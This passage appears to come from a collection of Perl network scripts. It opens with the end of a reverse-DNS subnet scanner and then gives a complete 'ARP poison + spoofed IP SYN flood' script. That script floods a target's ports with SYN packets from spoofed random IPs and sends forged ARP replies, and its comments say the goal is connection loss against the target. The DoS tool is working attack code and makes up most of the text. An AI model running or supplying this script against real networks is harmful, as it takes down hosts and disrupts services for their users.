exit(0);
}


@net = (split /\./, $ARGV[0])[0,1,2];
$begin = (split /\./, $ARGV[0])[3];
$end = $ARGV[1];
if($end eq "") { $end = "255"; }


while($begin <= $end) {
$ip = "$net[0].$net[1].$net[2].$begin";
$iaddr = inet_aton("$ip");
$name = gethostbyaddr($iaddr, AF_INET);
if($name eq "") {
$begin++;
next;
}

print "$ip\t$name\n";
$begin++;
}

ARP poison + spoofed IP SYN flood


#!/usr/bin/perl
# this is a proof of concept. it originally started as a syn flooder for
# stress testing, now it's something a bit more elaborate. it still syn floods,
# however, it also sends out spoofed arp replies from the spoofed source address
# which causes the target machine to cache the spoofed IP's for a longer time, which
# results in connection loss.
#
# another reason for connection loss is when the spoofed source IP is equal to the
# ip of the gateway router, which changes the mac address. a single packet will drop
# a connection. this method is your basic man in the middle/arp posioning DoS.
#
#
# - nwo 4/16/2008
####

require 'getopts.pl';

### need to utilize raw sockets to allow spoofing and specify source ports.
use Net::RawIP;
use Net::ARP;
use Net::Pcap;

$dev = Net::Pcap::lookupdev(\$errbuf);

Getopts('t:p:n:');


### function to create random IP's.
sub randip () {
$oct1 = int rand(200);
$oct2 = int rand(200);
$oct3 = int rand(200);
$oct4 = int rand(200);
$ip = join('.', "10","$oct2","$oct3","$oct4");
return("$ip");
}
### function to spoof mac addresses. *not pretty*
sub randmac () {
$i1 = int rand(10);
$i2 = int rand(10);
$i3 = int rand(10);
$rmac = join(':', $i1,$i2,$i3,$i1,$i2,$i3);
return("$rmac");
}

die "Usage: $0 -t -p -n \n"
unless ($opt_t && $opt_p && $opt_n);

### allow the user to specify a list of comma seperated ports via the command line.
@ports = split(/\,/, $opt_p);
$list = @ports;

$syn = new Net::RawIP;
### For some reason, arp_lookup doesn't always get the mac address on the first try
Net::ARP::arp_lookup($dev,$opt_t,$mac);
if($mac eq "Unknown") {
Net::ARP::arp_lookup($dev,$opt_t,$mac);
if($mac eq "Unknown") {
print "Unable to lookup MAC address.\n";
exit(1);
}
}

### super awesome output.
print "Mac found - $mac\n";
print "Hitting $opt_t on port(s) @ports with $opt_n packets....\n";
### start the loop
for($i = 1;$i < $opt_n;$i++) {
### randomly select a port out of the @ports array
$nlist = int rand($list);
$dport = $ports[$nlist];
$ranip = &randip;
$ranmac = &randmac;
$rport = int rand(65535);

### set up the socket..
$syn->set({
ip => {
daddr => $opt_t,
saddr => $ranip,
},

### specify the destination port and source port.. make sure the syn flag is enabled to
### drop the services. it's possible that using an icmp packet would be more effective
### because the target machine will stop receiving packets if the service goes down due
### the syn flood - that said, most everyone firewalls against icmp these days.
tcp => {
dest => $dport,
source => $rport,
ack => 0,
urg => 0,
rst => 0,
fin => 0,
psh => 0,
syn => 1
}
});
### send the packet!
$syn->send;
### now send a spoofed ARP reply from the spoofed IP so that the target machine caches the IP
### with the fake mac address so that it stores it, rather than clearing them due to invalid
### mac addresses. this also generates a lot of network traffic and congestion because of all
### of the 'who has' messages and replies - plus the tcp-syn+rst generated when the target machine
### realizes that the connection attempt is invalid.
Net::ARP::send_packet($dev,
$ranip,
$opt_t,
$ranmac,
$mac,
'reply');
}